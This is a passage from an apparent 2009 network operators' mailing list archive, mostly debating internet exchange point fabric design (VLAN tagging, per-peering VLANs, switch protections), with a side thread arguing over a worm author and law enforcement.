worms; not to mention giving >>> the impression to misguided teenagers that the only way they will be >>> heard >>> is to release a worm. >>> >>> Historically, I believe some companies have ignored security concerns >>> until >>> someone (sometimes non-maliciously) released a worm. Of course, even >>> non-malicious worms can have unpredictable results which result in >>> catastrophic behavior. The earliest examples predate my residence on the >>> network, but I've read a small bug made them extremely bad. >>> >>> Jack >>> >>> >> >> >> >> Sent via BlackBerry from T-Mobile > > From mmc at internode.com.au Fri Apr 17 23:16:36 2009 From: mmc at internode.com.au (Matthew Moyle-Croft) Date: Sat, 18 Apr 2009 13:46:36 +0930 Subject: IXP In-Reply-To: <49E8D1E5.1070004@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> Message-ID: <49E95424.7010400@internode.com.au> Arnold Nipper wrote: > On 17.04.2009 20:52 Paul Vixie wrote > > Large IXP have >300 customers. You would need up to 45k vlan tags, > wouldn't you? > Not agreeing or disagreeing with this as a concept, but I'd imagine that since a number of vendors support arbitrary vlan rewrite on ports that in simple environment you could do some evil things with that. (ie. you could use QinQ "like" ATM Virtual Paths between core switches and then reuse the VLAN tag as a VC). Then, as long as no peer has more than 4096 peers you're sweet. It'd hurt your head and probably never work, but heck, there's a concept to argue about. (Please note: I don't endorse this as an idea). I guess the other option is to use MPLS xconnect style or, heck, most vendors have gear that'll allow you to do Layer 3 at the same speed as Layer 2, so you could go for routing everyone to a common routing core with either EBGP multihop or MLPA with communities to control route entry and exit. Then broadcast isn't an issue and multicast would kind of be okay. (Please note: I don't endorse this as an idea). None of these options, to be honest, are nice and all more complex than just a Layer2 network with some protocol filtering and rate limiting at the edge. So, it's not clear what more complex arrangements would fix. My feeling is that IXes are just a substitute for PNIs anyway, so peering does naturally migrate that way as the flow get larger. If you're an IX as a business then this may afront you, but more IXes-as-a-business are Colo people (eg. S&D, Equinix) who make good money on xconnects anyway. Or you have a business model that means you accept this happens. Clearly, given the number of 10Gbps ports on some exchanges it's not that much of an issue. MMC From deepak at ai.net Fri Apr 17 23:30:54 2009 From: deepak at ai.net (Deepak Jain) Date: Sat, 18 Apr 2009 00:30:54 -0400 Subject: IXP In-Reply-To: <49E95424.7010400@internode.com.au> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <49E95424.7010400@internode.com.au> Message-ID: > Not agreeing or disagreeing with this as a concept, but I'd imagine > that > since a number of vendors support arbitrary vlan rewrite on ports that > in simple environment you could do some evil things with that. (ie. > you could use QinQ "like" ATM Virtual Paths between core switches and > then reuse the VLAN tag as a VC). Then, as long as no peer has more > than 4096 peers you're sweet. It'd hurt your head and probably never > work, but heck, there's a concept to argue about. (Please note: I > don't > endorse this as an idea). > This would be best managed by a very smart, but very simple piece of software. Just like Facebook or LinkedIn, or what-have-you, a network accepts a "peer/friend" request from another network. Once both sides agree (and only as long as both sides agree) the configuration is pinned up. Either side can pull it down. The configs, up to the hardware limits, would be pretty trivial.. Especially QinQ management for VLANID uniqueness. Not sure how switches handle HOL blocking with QinQ traffic across trunks, but hey... what's the fun of running an IXP without testing some limits? Deepak Jain AiNET From nanog at daork.net Fri Apr 17 23:35:17 2009 From: nanog at daork.net (Nathan Ward) Date: Sat, 18 Apr 2009 16:35:17 +1200 Subject: IXP In-Reply-To: References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> Message-ID: On 18/04/2009, at 12:08 PM, Paul Vixie wrote: > i should answer something said earlier: yes there's only 14 bits of > tag and > yes 2**14 is 4096. in the sparsest and most wasteful allocation > scheme, > tags would be assigned 7:7 so there'd be a max of 64 peers. it's more > likely that tags would be assigned by increment, but it's still > nowhere > near enough for 300+ peers. however, well before 300 peers, there'd > be > enough staff and enough money to use something other than a switch > in the > middle, so that the "tagspace" would be per-port rather than global > to the > IXP. Q in Q is not how i'd build this... cisco and juniper both have > hardware tunnelling capabilities that support this stuff... it just > means > as the IXP fabric grows it has to become router-based. On Alcatel-Lucent 7x50 gear, VLAN IDs are only relevant to that local port. If you want to build a "VLAN" that operates like it does on a Cisco switch or something, you set up a tag on each port, and join the tags together with a L2 switching service. The tag IDs can be different on each port, or the same... it has no impact. -- Nathan Ward From randy at psg.com Fri Apr 17 23:56:14 2009 From: randy at psg.com (Randy Bush) Date: Sat, 18 Apr 2009 13:56:14 +0900 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: <4b6ee9310904171838n556ebe47l4a259964ec258a66@mail.gmail.com> References: <4b6ee9310904171754o46a691e7y666fe99eda2de4a5@mail.gmail.com> <49E92CAE.1070408@brightok.net> <4b6ee9310904171838n556ebe47l4a259964ec258a66@mail.gmail.com> Message-ID: > So if Al-Qaeda blow up a shopping centre and the guy who masterminded > it turns out to be 17 he gets a job in MI5? what is more fun than a net vigilante? a ranting and raving hyperbolic net vigilante. From cordmacleod at gmail.com Sat Apr 18 00:06:27 2009 From: cordmacleod at gmail.com (Cord MacLeod) Date: Fri, 17 Apr 2009 22:06:27 -0700 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: References: <4b6ee9310904171754o46a691e7y666fe99eda2de4a5@mail.gmail.com> <49E92CAE.1070408@brightok.net> <4b6ee9310904171838n556ebe47l4a259964ec258a66@mail.gmail.com> Message-ID: <8A0EB0D1-BCAA-4D36-8F83-0805D3057689@gmail.com> You are exactly right Randy. from Randy Bush to Franck Martin cc 74attendees at ietf.org date Wed, Mar 18, 2009 at 4:47 PM subject Re: [74attendees] IETF attendee from Italy or Hong Kong -- visa issue > Yes Stockholm is first but as it seemed to be an issue with Asia going > to the USA, Hiroshima is likely the meeting than most Asian will be > able to attend with less visas problems? i am not sure about north koreans, but i am not aware that there would be problems for others. but i am not sure. and in many venues there are also significant problems with various middle-eastern, north african, and gulf countries. this is aside from the israelis keeping the palestinians imprisoned in their own country. On Apr 17, 2009, at 9:56 PM, Randy Bush wrote: >> So if Al-Qaeda blow up a shopping centre and the guy who masterminded >> it turns out to be 17 he gets a job in MI5? > > what is more fun than a net vigilante? a ranting and raving > hyperbolic > net vigilante. > From stuart at tech.org Sat Apr 18 00:30:41 2009 From: stuart at tech.org (Stephen Stuart) Date: Sat, 18 Apr 2009 05:30:41 +0000 Subject: IXP In-Reply-To: Your message of "Sat, 18 Apr 2009 00:30:54 -0400." Message-ID: <200904180530.n3I5Ufd2047221@nb.tech.org> > Not sure how switches handle HOL blocking with QinQ traffic across trunks, > but hey... > what's the fun of running an IXP without testing some limits? Indeed. Those with longer memories will remember that I used to regularly apologize at NANOG meetings for the DEC Gigaswitch/FDDI head-of-line blocking that all Gigaswitch-based IXPs experienced when some critical mass of OC3 backbone circuits was reached and the 100 MB/s fabric rolled over and died, offered here (again) as a cautionary tale for those who want to test those particular limits (again). At PAIX, when we "upgraded" to the Gigaswitch/FDDI (from a DELNI; we loved the DELNI), I actually used a feature of the switch that you could "black out" certain sections of the crossbar to prevent packets arriving on one port from exiting certain others at the request of some networks to align L2 connectivity with their peering agreements. It was fortunate that the scaling meltdown occurred when it did, otherwise I would have spent more software development resources trying to turn that capability into something that was operationally sustainable for networks to configure the visibility of their port to only those networks with which they had peering agreements. That software would probably have been thrown away with the Gigaswitches had it actually been developed, and rewritten to use something horrendous like MAC-based filtering, and if I recall correctly the options didn't look feasible at the time - and who wants to have to talk to a portal when doing a 2am emergency replacement of a linecard to change registered MAC addresses, anyway?. The port-based stuff had a chance of being operationally feasible. The notion of a partial pseudo-wire mesh, with a self-service portal to request/accept connections like the MAEs had for their ATM-based fabrics, follows pretty well from that and everything that's been learned by anyone about advancing the state of the art, and extends well to allow an IXP to have a distributed fabric benefit from scalable L2.5/L3 traffic management features while looking as much like wires to the networks using the IXP. If the gear currently deployed in IXP interconnection fabrics actually supports the necessary features, maybe someone will be brave enough to commit the software development resources necessary to try to make it an operational reality. If it requires capital investment, though, I suspect it'll be a while. The real lesson from the last fifteen or so years, though, is that bear skins and stone knives clearly have a long operational lifetime. Stephen From gaurab at lahai.com Sat Apr 18 00:50:53 2009 From: gaurab at lahai.com (Gaurab Raj Upadhaya) Date: Sat, 18 Apr 2009 06:50:53 +0100 Subject: IXP In-Reply-To: <20090417142128.GM29526@ronin.4ever.de> References: <20090417142128.GM29526@ronin.4ever.de> Message-ID: <49E96A3D.1080000@lahai.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Elmar K. Bins wrote: > I am not an IXP operator, but I know of no exchange (public or > private, big or closet-style) that uses private ASNs or RFC1918 > space. I know of at least two IXPs where RFC 1918 space is used on the IXP Subnet. I know a fair number of IXPs where providers use Private ASNs even for longish durations. I also know of a lot of IXPs where IPv4 prefixes longer then /24s are visible. But, as others have said, in most cases these measures are temporary in nature and eventually everyone will migrate. thanks -gaurab -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.8 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAknpajwACgkQSo7fU26F3X1/KgCg8P6or9LD7kldigNW38OhJ5eF r9wAnRtbbGel2JZVFRJ0xqLbcxWUeBUQ =dVae -----END PGP SIGNATURE----- From jbfixurpc at gmail.com Sat Apr 18 01:56:01 2009 From: jbfixurpc at gmail.com (=?iso-8859-1?B?Sm+i?=) Date: Sat, 18 Apr 2009 02:56:01 -0400 Subject: Michael Mooney releases another worm: Law Enforcement /Intelligence Agency's do nothing In-Reply-To: Message-ID: <005101c9bff2$bee83690$0101a8c0@E520> Pardon the ignorance I have to take this a step back. Your neighbor leaves their window open with a fresh bowl of fish near the window. A bunch of cats show up and start trying to get in, to no avail do they get in. At the first chance you discuss this with your neighbor, and warn them of this situation. The following day the neighbor does the same thing, window open, fresh bowl of fish, do you A: sit back and say "Told you so". B: Swat the cats away and guard the window. C: kill all the cats in the area. D: hire the cats to find another open window. I know this sounds silly, but to simplify things, If you A: Sitting back and watching the whole mess your now an accessory (Yeah I watched em) B: Neighbor says "Hey I wanted to take pictures of those cats and you shoed them away!" C: Vigilante style kill all the cats. Closing a window just is too much. D: Hire cats? Perhaps another EDS commercial. If theres a genuine exploit that one has been made aware of, and there is no preventive action made than I think we all know the outcome. If theres a sudden exploit that runs ramped that you haven't been aware of than lots of time spent researching it. Locking up all the "bad guys" will not solve the short comings of security in applications. But just my 2?s - Joe Blanchard > -----Original Message----- > From: Randy Bush [mailto:randy at psg.com] > Sent: Saturday, April 18, 2009 12:56 AM > To: andrew.wallace > Cc: n3td3v; nanog at nanog.org > Subject: Re: Michael Mooney releases another worm: Law > Enforcement /Intelligence Agency's do nothing > > > So if Al-Qaeda blow up a shopping centre and the guy who > masterminded > > it turns out to be 17 he gets a job in MI5? > > what is more fun than a net vigilante? a ranting and raving > hyperbolic net vigilante. > From vixie at isc.org Sat Apr 18 02:01:37 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 07:01:37 +0000 Subject: IXP In-Reply-To: Your message of "Sat, 18 Apr 2009 00:08:04 GMT." References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> Message-ID: <77374.1240038097@nsa.vix.com> > From: Paul Vixie > Date: Sat, 18 Apr 2009 00:08:04 +0000 > ... > i should answer something said earlier: yes there's only 14 bits of tag and > yes 2**14 is 4096. in the sparsest and most wasteful allocation scheme, > tags would be assigned 7:7 so there'd be a max of 64 peers. i meant of course 12 bits, that 2**12 is 4096, and 6:6. apologies for slop. From bdwarr6 at bdwarr6.com Sat Apr 18 02:04:41 2009 From: bdwarr6 at bdwarr6.com (bdwarr6) Date: Sat, 18 Apr 2009 03:04:41 -0400 Subject: Lease4web abuse contact Message-ID: <81C42D4718534AB48C94A748CD5FBE9C@bdwarr6PC> Does anyone have an abuse contact for lease4web that they can contact me off list about, the normal channels don't seem to be working here in regards to some pesky hackers. Regards, Nick Rose From vixie at isc.org Sat Apr 18 02:07:45 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 07:07:45 +0000 Subject: IXP In-Reply-To: (Nathan Ward's message of "Sat\, 18 Apr 2009 16\:35\:17 +1200") References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> Message-ID: Nathan Ward writes: > On 18/04/2009, at 12:08 PM, Paul Vixie wrote: >> ... Q in Q is not how i'd build this... cisco and juniper both have >> hardware tunnelling capabilities that support this stuff... ... > > On Alcatel-Lucent 7x50 gear, VLAN IDs are only relevant to that local > port. If you want to build a "VLAN" that operates like it does on a Cisco > switch or something, you set up a tag on each port, and join the tags > together with a L2 switching service. The tag IDs can be different on > each port, or the same... it has no impact. apologies for leaving out alcatel-lucent and any other vendor who can also do this. i mentioned only juniper and cisco in the above-quoted article because that's the limit of my own knowledge on this topic. -- Paul Vixie From randy at psg.com Sat Apr 18 02:09:51 2009 From: randy at psg.com (Randy Bush) Date: Sat, 18 Apr 2009 16:09:51 +0900 Subject: Michael Mooney releases another worm: Law Enforcement /Intelligence Agency's do nothing In-Reply-To: <005101c9bff2$bee83690$0101a8c0@E520> References: <005101c9bff2$bee83690$0101a8c0@E520> Message-ID: > I have to take this a step back. Your neighbor leaves their window open with > a fresh bowl of fish near the window. what i do is laugh at the fool and hit delete From vixie at isc.org Sat Apr 18 02:30:05 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 07:30:05 +0000 Subject: IXP In-Reply-To: Your message of "Sat, 18 Apr 2009 05:30:41 GMT." <200904180530.n3I5Ufd2047221@nb.tech.org> References: <200904180530.n3I5Ufd2047221@nb.tech.org> Message-ID: <78759.1240039805@nsa.vix.com> stephen, any idea why this hasn't hit the nanog mailing list yet? it's been hours, and things that others have sent on this thread has appeared. is it stuck in a mail queue? --paul re: > To: Deepak Jain > cc: Matthew Moyle-Croft , > Arnold Nipper , Paul Vixie , > "nanog at merit.edu" > Subject: Re: IXP > Date: Sat, 18 Apr 2009 05:30:41 +0000 > From: Stephen Stuart > > > Not sure how switches handle HOL blocking with QinQ traffic across trunks, > > but hey... > > what's the fun of running an IXP without testing some limits? > > Indeed. Those with longer memories will remember that I used to > regularly apologize at NANOG meetings for the DEC Gigaswitch/FDDI > head-of-line blocking that all Gigaswitch-based IXPs experienced when > some critical mass of OC3 backbone circuits was reached and the 100 > MB/s fabric rolled over and died, offered here (again) as a cautionary > tale for those who want to test those particular limits (again). > > At PAIX, when we "upgraded" to the Gigaswitch/FDDI (from a DELNI; we > loved the DELNI), I actually used a feature of the switch that you > could "black out" certain sections of the crossbar to prevent packets > arriving on one port from exiting certain others at the request of > some networks to align L2 connectivity with their peering > agreements. It was fortunate that the scaling meltdown occurred when > it did, otherwise I would have spent more software development > resources trying to turn that capability into something that was > operationally sustainable for networks to configure the visibility of > their port to only those networks with which they had peering > agreements. That software would probably have been thrown away with > the Gigaswitches had it actually been developed, and rewritten to use > something horrendous like MAC-based filtering, and if I recall > correctly the options didn't look feasible at the time - and who wants > to have to talk to a portal when doing a 2am emergency replacement of > a linecard to change registered MAC addresses, anyway?. The port-based > stuff had a chance of being operationally feasible. > > The notion of a partial pseudo-wire mesh, with a self-service portal > to request/accept connections like the MAEs had for their ATM-based > fabrics, follows pretty well from that and everything that's been > learned by anyone about advancing the state of the art, and extends > well to allow an IXP to have a distributed fabric benefit from > scalable L2.5/L3 traffic management features while looking as much > like wires to the networks using the IXP. > > If the gear currently deployed in IXP interconnection fabrics actually > supports the necessary features, maybe someone will be brave enough to > commit the software development resources necessary to try to make it > an operational reality. If it requires capital investment, though, I > suspect it'll be a while. > > The real lesson from the last fifteen or so years, though, is that > bear skins and stone knives clearly have a long operational lifetime. > > Stephen From jbfixurpc at gmail.com Sat Apr 18 02:44:09 2009 From: jbfixurpc at gmail.com (=?iso-8859-1?B?Sm+i?=) Date: Sat, 18 Apr 2009 03:44:09 -0400 Subject: Michael Mooney releases another worm: Law Enforcement /Intelligence Agency's do nothing In-Reply-To: Message-ID: <005601c9bff9$cdb36da0$0101a8c0@E520> lol, in a virtual world its always nice to have the delete key (: > -----Original Message----- > From: Randy Bush [mailto:randy at psg.com] > Sent: Saturday, April 18, 2009 3:10 AM > To: Jo? > Cc: 'andrew.wallace'; 'n3td3v'; nanog at nanog.org > Subject: Re: Michael Mooney releases another worm: Law > Enforcement /Intelligence Agency's do nothing > > > I have to take this a step back. Your neighbor leaves their window > > open with a fresh bowl of fish near the window. > > what i do is laugh at the fool and hit delete From nuno.vieira at nfsi.pt Sat Apr 18 03:23:30 2009 From: nuno.vieira at nfsi.pt (Nuno Vieira - nfsi telecom) Date: Sat, 18 Apr 2009 09:23:30 +0100 (WEST) Subject: IXP In-Reply-To: <6F555BDA-C657-4FC2-95FC-474ACA5DF87A@gmail.com> Message-ID: <1780371424.51441240043010313.JavaMail.root@zimbra.nfsi.pt> ----- "kris foster" wrote: > painfully, with multiple circuits into the IX :) I'm not advocating > Paul's suggestion at all here > > Kris Totally agree with you Kris. For the IX scenario (or at least looking in a Public way) it seems Another Terrible Mistake to me. IMHO, when you are in a Public IX, you usually want to reach everyone's network without hassling around. Then it is your problem, and yours peer problem if we peer or not. When you overload a certain port at a Public IX, you rather upgrade that Port, or, Move particular bit pushers and movers for a Private Peering port (if it really makes technical and economical sense). I don't see how this idea that came out there could benefit the operational daily works (For IX, For IX Customers) , also, it would require work from the (usually) Neutral IX, when users need to connect ear other, which, will lead in more money to pay. (hey IX OPS.. we are company X and Z, and we signed a nice peering agreement.. can you please virtual patch us ?) Where is the neutrality here ? Time ? What if my equipment brokes at 3 AM and IX Ops need to change configs ? Ok, ones could say... it is automated... BUT.. what is the really security behind automation ? The portal is on the Wild Web, right ? This happens today on datacenters, with real cross connects, usually thru MMR's (Meet me Rooms). I don't want to have a Virtual Meet me Room, on Internet exchanges where i peer. This is my view. I might be wrong, but i don't care, as i am square as a rock. :-) I don't understand how can this new concept (or really old, considering ancient ATM peering and stuff), can be better, more secure, and cheaper for all. cheers, --nvieira From bmanning at vacation.karoshi.com Sat Apr 18 05:09:00 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sat, 18 Apr 2009 10:09:00 +0000 Subject: IXP In-Reply-To: <200904180530.n3I5Ufd2047221@nb.tech.org> References: <200904180530.n3I5Ufd2047221@nb.tech.org> Message-ID: <20090418100900.GB2573@vacation.karoshi.com.> On Sat, Apr 18, 2009 at 05:30:41AM +0000, Stephen Stuart wrote: > > Not sure how switches handle HOL blocking with QinQ traffic across trunks, > > but hey... > > what's the fun of running an IXP without testing some limits? > > Indeed. Those with longer memories will remember that I used to > regularly apologize at NANOG meetings for the DEC Gigaswitch/FDDI > head-of-line blocking that all Gigaswitch-based IXPs experienced when > some critical mass of OC3 backbone circuits was reached and the 100 > MB/s fabric rolled over and died, offered here (again) as a cautionary > tale for those who want to test those particular limits (again). Ohhh... Scary Stories! :) > The real lesson from the last fifteen or so years, though, is that > bear skins and stone knives clearly have a long operational lifetime. well... while there is a certain childlike obession with the byzantine, rube-goldburg, lots of bells, knobs, whistles type machines... for solid, predictable performance, simple clean machines work best. > > Stephen --bill From nick at foobar.org Sat Apr 18 10:35:51 2009 From: nick at foobar.org (Nick Hilliard) Date: Sat, 18 Apr 2009 16:35:51 +0100 Subject: IXP In-Reply-To: References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> Message-ID: <49E9F357.7070407@foobar.org> On 18/04/2009 01:08, Paul Vixie wrote: > i've spent more than several late nights and long weekends dealing with > the problems of shared multiaccess IXP networks. broadcast storms, > poisoned ARP, pointing default, unintended third party BGP, unintended > spanning tree, semitranslucent loops, unauthorized IXP LAN extension... > all to watch the largest flows move off to PNI as soon as somebody's > port was getting full. Paul- to be fair, things might have moved on a little since the earlier years of internet exchanges. These days, we have switches which do multicast and broadcast storm control, unicast flood control, mac address counting, l2 and l3 acls, dynamic arp inspection, and they can all be configured to ignore bpdus in a variety of imaginative ways. We have arp sponges and broadcast monitors. We have edge routers which can do multiple flavours of urpf, and for those hardcore types who don't like md5 or gtsm, there's always ipsec for bgp sessions. I have to be honest: i just don't care if people use L2 connectivity to get to an exchange from a router somewhere else on their LAN. They have one mac address to play around with, and if they start leaking mac addresses towards the exchange fabric, all they're going to do is hose their own connectivity. If they are silly enough to enable stp at their edge, then that will trash their connectivity, as a carrier up event will trigger STP packets from their switch before their router notices, and mac learning will prevent their router from gaining access to the exchange. If they decide to loop their L2 traffic, do I care? They'll just be chopped off automatically, and I'll get an email. And if people behave really cretinously, I'll just bang in more L2 or L3 filters to stop them from tickling my monitoring systems, but most likely at that stage, they will have been extensively depeered due to technical ineptitude. Stupid behaviour is self-limiting and is really just an annoyance these days rather than a problem. As you've noted, there is a natural progression for services providers here from shared access to pni, which advances according to the business and financial requirements of the parties involved. If exchange users decide to move from shared access peering to PNI, good for them - it means their business is doing well. But this doesn't mean that IXPs don't offer an important level of service to their constituents. Because of them, the isp industry has convenient access to dense interconnection at a pretty decent price. > Q in Q is not how i'd build this... cisco and juniper both have > hardware tunnelling capabilities that support this stuff... it just > means as the IXP fabric grows it has to become router-based. Hey, I have an idea: you could take this plan and build a tunnel-based or even a native IP access IXP platform like this, extend it to multiple locations and then buy transit from a bunch of companies which would give you a native L3 based IXP with either client prefixes only or else an option for full DFZ connectivity over the exchange fabric. You could even build a global IXP on this basis! It's a brilliant idea, and I just can't imagine why no-one thought of it before. Nick From jmamodio at gmail.com Sat Apr 18 10:49:39 2009 From: jmamodio at gmail.com (Jorge Amodio) Date: Sat, 18 Apr 2009 10:49:39 -0500 Subject: Michael Mooney releases another worm: Law Enforcement /Intelligence Agency's do nothing In-Reply-To: <005601c9bff9$cdb36da0$0101a8c0@E520> References: <005601c9bff9$cdb36da0$0101a8c0@E520> Message-ID: <202705b0904180849i6520db73w27d882b42b841fe2@mail.gmail.com> > lol, in a virtual world its always nice to have the delete key (: Best invention since packet switching which many said it will never work. Regards Jorge From vixie at isc.org Sat Apr 18 11:01:41 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 16:01:41 +0000 Subject: IXP In-Reply-To: Your message of "Sat, 18 Apr 2009 10:09:00 GMT." <20090418100900.GB2573@vacation.karoshi.com.> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> Message-ID: <1446.1240070501@nsa.vix.com> > Date: Sat, 18 Apr 2009 10:09:00 +0000 > From: bmanning at vacation.karoshi.com > > ... well... while there is a certain childlike obession with the > byzantine, rube-goldburg, lots of bells, knobs, whistles type > machines... for solid, predictable performance, simple clean > machines work best. like you i long for the days when a DELNI could do this job. nobody makes hubs anymore though. but the above text juxtaposes poorly against the below text: > Date: Sat, 18 Apr 2009 16:35:51 +0100 > From: Nick Hilliard > > ... These days, we have switches which do multicast and broadcast storm > control, unicast flood control, mac address counting, l2 and l3 acls, > dynamic arp inspection, and they can all be configured to ignore bpdus in > a variety of imaginative ways. We have arp sponges and broadcast > monitors. ... in terms of solid and predictable i would take per-peering VLANs with IP addresses assigned by the peers themselves, over switches that do unicast flood control or which are configured to ignore bpdu's in imaginative ways. but either way it's not a DELNI any more. what i see is inevitable complexity and various different ways of layering that complexity in. the choice of per-peering VLANs represents a minimal response to the problems of shared IXP fabrics, with maximal impedance matching to the PNI's that inevitably follow successful shared-port peerings. From vixie at isc.org Sat Apr 18 11:15:24 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 16:15:24 +0000 Subject: IXP In-Reply-To: Your message of "Sat, 18 Apr 2009 16:35:51 +0100." <49E9F357.7070407@foobar.org> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org> Message-ID: <2057.1240071324@nsa.vix.com> > Date: Sat, 18 Apr 2009 16:35:51 +0100 > From: Nick Hilliard > > ... i just don't care if people use L2 connectivity to get to an exchange > from a router somewhere else on their LAN. They have one mac address to > play around with, and if they start leaking mac addresses towards the > exchange fabric, all they're going to do is hose their own > connectivity. yeah we did that at PAIX. if today's extremenetworks device has an option to learn one MAC address per port and no more, it's because we had a terrible time getting people to register their new MAC address when they'd change out interface cards or routers. hilarious levels of fingerpointing and downtime later, our switch vendor added a knob for us. but we still saw typo's in IP address configurations whereby someone could answer ARPs for somebody else's IP. when i left PAIX (the day MFN entered bankruptcy) we were negotiating for more switch knobs to prevent accidental and/or malicious ARP poisoning. (and note, this was on top of a no-L2-devices rule which included draconian auditing rights for L2/L3 capable hardware.) > As you've noted, there is a natural progression for services providers > here from shared access to pni, which advances according to the business > and financial requirements of the parties involved. If exchange users > decide to move from shared access peering to PNI, good for them - it > means their business is doing well. But this doesn't mean that IXPs don't > offer an important level of service to their constituents. Because of > them, the isp industry has convenient access to dense interconnection at > a pretty decent price. yes, that's the progression of success. and my way of designing for success is to start people off with VNI's (two-port VLANs containing one peering) so that when they move from shared-access to dedicated they're just moving from a virtual wire to a physical wire without losing any of the side-benefits they may have got from a shared-access peering fabric. > > Q in Q is not how i'd build this... cisco and juniper both have > > hardware tunnelling capabilities that support this stuff... it just > > means as the IXP fabric grows it has to become router-based. > > Hey, I have an idea: you could take this plan and build a tunnel-based or > even a native IP access IXP platform like this, extend it to multiple > locations and then buy transit from a bunch of companies which would give > you a native L3 based IXP with either client prefixes only or else an > option for full DFZ connectivity over the exchange fabric. You could > even build a global IXP on this basis! It's a brilliant idea, and I just > can't imagine why no-one thought of it before. :-). i've been known to extend IXP fabrics to cover a metro, but never beyond. From bmanning at vacation.karoshi.com Sat Apr 18 11:58:24 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sat, 18 Apr 2009 16:58:24 +0000 Subject: IXP In-Reply-To: <1446.1240070501@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> Message-ID: <20090418165824.GA4483@vacation.karoshi.com.> On Sat, Apr 18, 2009 at 04:01:41PM +0000, Paul Vixie wrote: > > Date: Sat, 18 Apr 2009 10:09:00 +0000 > > From: bmanning at vacation.karoshi.com > > > > ... well... while there is a certain childlike obession with the > > byzantine, rube-goldburg, lots of bells, knobs, whistles type > > machines... for solid, predictable performance, simple clean > > machines work best. > > like you i long for the days when a DELNI could do this job. nobody > makes hubs anymore though. but the above text juxtaposes poorly against > the below text: i never said i longed for DELNI's (although there is a naive beauty in such things) i make the claim that simple, clean design and execution is best. even the security goofs will agree. > but either way it's not a DELNI any more. what i see is inevitable > complexity and various different ways of layering that complexity in. the > choice of per-peering VLANs represents a minimal response to the problems > of shared IXP fabrics, with maximal impedance matching to the PNI's that > inevitably follow successful shared-port peerings. > complexity invites failure - failure in unusual and unexpected ways. small & simple systems are more nimble, faster and more resilient. complex is usually big, slow, fraught w/ little used code paths, a veritable nesting ground for virus, worm, half-baked truths, and poorly tested assumptions. one very good reason folks move to PNI's is that they are simpler to do. More cost-effective -AT THAT performance point-. I worry (to the extent that I worry about such things at all these days) that the code that drives the Internet these days is bloated, slow, and generally trying to become the "swiss-army-knife" application of critial infrastructure joy. witness BGP. more knobs/whistles than you can shake a stick at. the distinct lack of restraint by code developers in their desire to add every possible feature is argueably the primary reason the Internet is so riddled with security vulnerabilities. I'll get off my soap-box now and let you resume your observations that complexity as a goal in and of itself is the olny path forward. What a dismal world-view. --bill From smb at cs.columbia.edu Sat Apr 18 12:17:11 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Sat, 18 Apr 2009 13:17:11 -0400 Subject: IXP In-Reply-To: <20090418165824.GA4483@vacation.karoshi.com.> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> Message-ID: <20090418131711.4ebce8af@cs.columbia.edu> On Sat, 18 Apr 2009 16:58:24 +0000 bmanning at vacation.karoshi.com wrote: > i make the claim that simple, clean design and execution is > best. even the security goofs will agree. > "Even"? *Especially* -- or they're not competent at doing security. But I hadn't even thought about DELNIs in years. --Steve Bellovin, http://www.cs.columbia.edu/~smb From nick at foobar.org Sat Apr 18 12:28:18 2009 From: nick at foobar.org (Nick Hilliard) Date: Sat, 18 Apr 2009 18:28:18 +0100 Subject: IXP In-Reply-To: References: Message-ID: <49EA0DB2.20804@foobar.org> On 17/04/2009 15:11, Sharlon R. Carty wrote: > I like would to know what are best practices for an internet exchange. I > have some concerns about the following; > Can the IXP members use RFC 1918 ip addresses for their peering? > Can the IXP members use private autonomous numbers for their peering? > > Maybe the answer is obviuos, but I like to know from any IXP admins what > their setup/experiences have 